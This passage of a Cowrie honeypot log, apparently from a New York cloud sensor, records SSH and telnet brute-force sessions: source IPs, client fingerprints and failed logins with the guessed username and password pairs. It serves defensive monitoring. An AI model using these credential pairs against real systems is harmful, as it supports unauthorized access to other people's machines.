{"eventid":"cowrie.login.failed","username":"admin","password":"nasty","message":"login attempt [admin/nasty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:40:05.127360Z","src_ip":"223.233.84.127","session":"d18f2a85ed44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:40:06.396994Z","src_ip":"223.233.84.127","session":"d18f2a85ed44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.233.84.127","src_port":26743,"dst_ip":"10.17.0.5","dst_port":22,"session":"653fba9f8d4e","protocol":"ssh","message":"New connection: 223.233.84.127:26743 (10.17.0.5:22) [session: 653fba9f8d4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:41:08.210495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:41:08.219006Z","src_ip":"223.233.84.127","session":"653fba9f8d4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:41:08.466290Z","src_ip":"223.233.84.127","session":"653fba9f8d4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"users","message":"login attempt [root/users] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:41:09.480425Z","src_ip":"223.233.84.127","session":"653fba9f8d4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:41:10.737733Z","src_ip":"223.233.84.127","session":"653fba9f8d4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":44278,"dst_ip":"10.17.0.5","dst_port":22,"session":"88e7384e0729","protocol":"ssh","message":"New connection: 165.227.170.113:44278 (10.17.0.5:22) [session: 88e7384e0729]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:41:20.987859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:41:20.993174Z","src_ip":"165.227.170.113","session":"88e7384e0729","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:41:21.081622Z","src_ip":"165.227.170.113","session":"88e7384e0729","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@123!@","message":"login attempt [root/admin@123!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:41:21.466227Z","src_ip":"165.227.170.113","session":"88e7384e0729","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:41:22.555788Z","src_ip":"165.227.170.113","session":"88e7384e0729","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.181.85","src_port":28282,"dst_ip":"159.203.135.109","dst_port":22,"session":"7203fbdeaff9","protocol":"ssh","message":"New connection: 130.12.181.85:28282 (159.203.135.109:22) [session: 7203fbdeaff9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:41:25.225214Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:41:25.230131Z","src_ip":"130.12.181.85","session":"7203fbdeaff9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.181.85","src_port":28292,"dst_ip":"159.203.135.109","dst_port":22,"session":"36d587a66454","protocol":"ssh","message":"New connection: 130.12.181.85:28292 (159.203.135.109:22) [session: 36d587a66454]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:41:25.379111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:41:25.384282Z","src_ip":"130.12.181.85","session":"36d587a66454","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:41:25.486884Z","src_ip":"130.12.181.85","session":"36d587a66454","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"admin","message":"login attempt [user/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:41:25.835828Z","src_ip":"130.12.181.85","session":"36d587a66454","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:41:26.942520Z","src_ip":"130.12.181.85","session":"36d587a66454","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.51.120.41","src_port":45568,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8018945ec77","protocol":"telnet","message":"New connection: 38.51.120.41:45568 (159.203.135.109:23) [session: a8018945ec77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:41:27.729506Z"}
{"eventid":"cowrie.session.closed","duration":12.986692905426025,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:41:40.716063Z","src_ip":"38.51.120.41","session":"a8018945ec77","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"223.233.84.127","src_port":25511,"dst_ip":"10.17.0.5","dst_port":22,"session":"6191bcc28ac5","protocol":"ssh","message":"New connection: 223.233.84.127:25511 (10.17.0.5:22) [session: 6191bcc28ac5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:42:02.183792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:42:02.199808Z","src_ip":"223.233.84.127","session":"6191bcc28ac5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:42:02.501772Z","src_ip":"223.233.84.127","session":"6191bcc28ac5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"sysadmin@123","message":"login attempt [sysadmin/sysadmin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:42:03.528511Z","src_ip":"223.233.84.127","session":"6191bcc28ac5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:42:04.780086Z","src_ip":"223.233.84.127","session":"6191bcc28ac5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":32906,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a8b236646b3","protocol":"ssh","message":"New connection: 165.227.170.113:32906 (10.17.0.5:22) [session: 8a8b236646b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:42:07.375070Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:42:07.379650Z","src_ip":"165.227.170.113","session":"8a8b236646b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:42:07.464451Z","src_ip":"165.227.170.113","session":"8a8b236646b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3server","password":"1","message":"login attempt [ts3server/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:42:07.830976Z","src_ip":"165.227.170.113","session":"8a8b236646b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:42:08.918339Z","src_ip":"165.227.170.113","session":"8a8b236646b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.225.169.15","src_port":49997,"dst_ip":"159.203.135.109","dst_port":23,"session":"ffedbab3b9cc","protocol":"telnet","message":"New connection: 181.225.169.15:49997 (159.203.135.109:23) [session: ffedbab3b9cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:42:26.991869Z"}
{"eventid":"cowrie.session.closed","duration":13.531943559646606,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:42:40.523699Z","src_ip":"181.225.169.15","session":"ffedbab3b9cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":35106,"dst_ip":"10.17.0.5","dst_port":22,"session":"57c119521169","protocol":"ssh","message":"New connection: 165.227.170.113:35106 (10.17.0.5:22) [session: 57c119521169]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:42:52.024884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:42:52.031731Z","src_ip":"165.227.170.113","session":"57c119521169","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:42:52.115829Z","src_ip":"165.227.170.113","session":"57c119521169","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"test123","message":"login attempt [david/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:42:52.482981Z","src_ip":"165.227.170.113","session":"57c119521169","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:42:53.570066Z","src_ip":"165.227.170.113","session":"57c119521169","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.233.84.127","src_port":18028,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4ece73b45c6","protocol":"ssh","message":"New connection: 223.233.84.127:18028 (10.17.0.5:22) [session: e4ece73b45c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:42:55.114625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:42:55.120835Z","src_ip":"223.233.84.127","session":"e4ece73b45c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:42:55.489641Z","src_ip":"223.233.84.127","session":"e4ece73b45c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"abcd","message":"login attempt [user1/abcd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:42:56.570349Z","src_ip":"223.233.84.127","session":"e4ece73b45c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:42:57.829177Z","src_ip":"223.233.84.127","session":"e4ece73b45c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":54492,"dst_ip":"10.17.0.5","dst_port":22,"session":"eae94bce1cf6","protocol":"ssh","message":"New connection: 165.227.170.113:54492 (10.17.0.5:22) [session: eae94bce1cf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:43:33.217446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:43:33.222381Z","src_ip":"165.227.170.113","session":"eae94bce1cf6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha